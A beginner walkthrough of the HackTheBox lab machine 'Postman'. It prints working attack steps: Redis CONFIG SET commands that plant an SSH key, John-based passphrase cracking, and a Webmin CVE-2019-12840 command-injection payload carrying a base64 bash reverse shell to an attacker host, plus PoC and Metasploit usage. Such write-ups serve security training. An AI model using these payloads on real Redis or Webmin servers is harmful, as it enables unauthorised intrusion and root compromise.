Introduction
Postman is an Easy rated Linux machine on HackTheBox. The attack chain is:
- An unauthenticated Redis 4.0.9 instance lets us write files as the
redisuser, so we plant an SSH key inauthorized_keysfor a foothold - An encrypted backup key at
/opt/id_rsa.bakcracks offline with John to the passphrasecomputer2008 - That passphrase is also
Matt’s account password, reached withsubecause direct SSH for Matt is blocked - Matt can log in to Webmin 1.910, which is vulnerable to CVE-2019-12840 command injection and runs as root, handing us a root shell
Enumeration
Nmap
Full TCP port scan with service and script detection:
nmap -p- -T4 --min-rate=1000 -sC -sV 10.10.10.160
Breaking down every flag for beginners:
| Flag | What it does |
|---|---|
-p- | Scan all 65535 TCP ports, not just the top 1000 |
-T4 | Faster timing template, good for labs |
--min-rate=1000 | Send at least 1000 packets per second |
-sC | Run nmap’s default NSE scripts (banner grabs, basic checks) |
-sV | Detect the service and version on each open port |
Open ports:
| Port | Service | Version |
|---|---|---|
| 22 | SSH | OpenSSH 7.6p1 |
| 80 | HTTP | Apache 2.4.29 |
| 6379 | Redis | 4.0.9 (no auth) |
| 10000 | Webmin | MiniServ 1.910 |
The two services that stand out are Redis on 6379 with no authentication, and Webmin on 10000. Redis becomes the foothold, Webmin becomes root.
Beginner tip: Redis (6379) is an in-memory data store that, left unauthenticated, lets anyone run administrative commands over the network. Webmin (10000) is a root-level system administration panel, so any code execution bug inside it runs as root.
Foothold: Redis Key Injection
Redis 4.0 to 5.0 with no authentication exposes CONFIG SET, which lets us choose where Redis writes its dump file. By pointing that at the redis user’s .ssh folder and saving our public key, we end up with an authorized_keys file we control.
First confirm Redis answers without credentials:
redis-cli -h 10.10.10.160
10.10.10.160:6379> CONFIG GET dir
1) "dir"
2) "/var/lib/redis"
The server returns its config, so we have unauthenticated admin access. The default directory /var/lib/redis is the redis user’s home.
Step 1: Generate a key pair on Kali
ssh-keygen -t rsa -f ~/postman_key
Step 2: Pad the public key
(echo -e "\n\n"; cat ~/postman_key.pub; echo -e "\n\n") > key.txt
The blank lines around the key matter. When Redis saves, it wraps the value in RDB metadata, so the padding keeps the key on its own clean line and OpenSSH can still parse it past the surrounding junk bytes.
Step 3: Load the key into Redis
cat key.txt | redis-cli -h 10.10.10.160 -x set ssh_key
Step 4: Write authorized_keys
redis-cli -h 10.10.10.160
CONFIG SET dir /var/lib/redis/.ssh
CONFIG SET dbfilename authorized_keys
save
exit
save dumps Redis memory to disk as an RDB file. Because dir and dbfilename now point at the redis user’s .ssh folder, that dump becomes a working authorized_keys.
Step 5: SSH in as redis
ssh -i ~/postman_key redis@10.10.10.160
Shell obtained as redis.
Beginner tip: any service that can write a file to a known path is a foothold primitive. Writing into
~/.ssh/authorized_keysis the cleanest target on Linux because it grants a stable SSH login instead of a fragile reverse shell.
Lateral Movement: Cracking id_rsa.bak
From the redis shell, look for backup files. LinPeas works well for a full sweep, but a quick find is enough here:
find /opt -type f 2>/dev/null
# /opt/id_rsa.bak
The key is encrypted, so copy it to Kali and crack the passphrase offline:
# From Kali
scp -i ~/postman_key redis@10.10.10.160:/opt/id_rsa.bak .
ssh2john id_rsa.bak > hash
john hash --wordlist=/usr/share/wordlists/rockyou.txt
# computer2008
Breaking down the steps:
| Command | What it does |
|---|---|
ssh2john id_rsa.bak > hash | Convert the encrypted key into a hash John can attack |
john hash --wordlist=... | Brute force the passphrase against rockyou |
The recovered passphrase computer2008 is also Matt’s account password. Logging in over SSH as Matt fails because the server drops the connection after key auth, so switch user from the redis shell instead:
su Matt
# Password: computer2008
cat /home/Matt/user.txt
✅ User flag captured.
Beginner tip: a cracked SSH key passphrase is very often reused as the account password. When direct SSH is blocked,
sufrom an existing shell is the reliable fallback because it only needs the password, not network key authentication.
Privilege Escalation: Webmin 1.910
Matt’s credentials log in to Webmin at https://10.10.10.160:10000. The running version sits in /etc/webmin/version and reads 1.910, which is vulnerable to CVE-2019-12840, an authenticated command injection in the package update endpoint. Webmin runs as root, so the injected command runs as root with no extra work.
Route 1: Manual command injection (official method)
This is the intended path and the one the official writeup uses. It also shows exactly where the bug lives.
- Log in to
https://10.10.10.160:10000asMatt/computer2008. - Go to System, then Software Package Updates.
- Turn on Burp intercept and click Update Selected Packages.
- Burp catches a POST to
/package-updates/update.cgi. Send it to Repeater and strip the existing parameters.
Confirm injection with a harmless command first:
u=acl%2Fapt&u=$(whoami)
Scroll to the bottom of the response. The server reports that it tried to install a package named root, which is the output of whoami. That confirms command execution as root.
Now build a base64 reverse shell on Kali:
echo -n 'bash -c "bash -i >& /dev/tcp/<YOUR_IP>/4444 0>&1"' | base64
Assemble the final payload using ${IFS} in place of spaces, because literal spaces break the parameter parsing:
u=acl%2Fapt&u=echo${IFS}<BASE64_STRING>|base64${IFS}-d|bash
URL encode the whole value of the second u parameter before sending. Start a listener, then forward the request in Repeater:
nc -lvnp 4444
Root shell received.
Beginner tip:
${IFS}is the shell Internal Field Separator, which is whitespace by default. Substituting it for spaces is a classic way to smuggle a multi word command past a filter or parser that splits on spaces.
Route 2: CVE-2019-12840 Python PoC
For the automated version, a public PoC wraps the same injection:
nc -lvnp 443
python3 CVE-2019-12840.py -u https://postman.htb:10000 -U Matt -P computer2008 -lhost <YOUR_IP> -lport 443
The root shell lands in the listener. Add postman.htb to /etc/hosts pointing at 10.10.10.160 if the script resolves the target by name.
Route 3: Metasploit module
Metasploit ships a module for the same CVE, handy when you just want a quick session:
msfconsole -q
use exploit/linux/http/webmin_packageup_rce
set RHOSTS 10.10.10.160
set RPORT 10000
set SSL true
set USERNAME Matt
set PASSWORD computer2008
set LHOST <YOUR_IP>
run
It authenticates as Matt, fires the injection, and returns a root Meterpreter session.
Root Flag
cat /root/root.txt
✅ Root flag captured.
Summary
| Step | Technique |
|---|---|
| Recon | Nmap full TCP port and service scan |
| Foothold | Unauthenticated Redis CONFIG SET writes an SSH key to authorized_keys, shell as redis |
| Loot | /opt/id_rsa.bak cracked with John to computer2008 |
| Lateral | su Matt with the recovered password, user flag |
| PrivEsc | Webmin 1.910 CVE-2019-12840 command injection as root |
Key Takeaways
- Unauthenticated Redis is a direct file write primitive, so always test 6379 with no credentials.
CONFIG SET dirplusCONFIG SET dbfilenameplussavewrites an arbitrary file as the redis OS user, andauthorized_keysis the cleanest target.- A cracked key passphrase is frequently reused as the account password, and
susidesteps a box that blocks direct SSH for that user. - Webmin runs as root, so any authenticated RCE inside it is an instant privilege escalation no matter how low the login user sits on the system.
- CVE-2019-12840 lives in the package update
uparameter, and${IFS}is what carries spaces past the parser.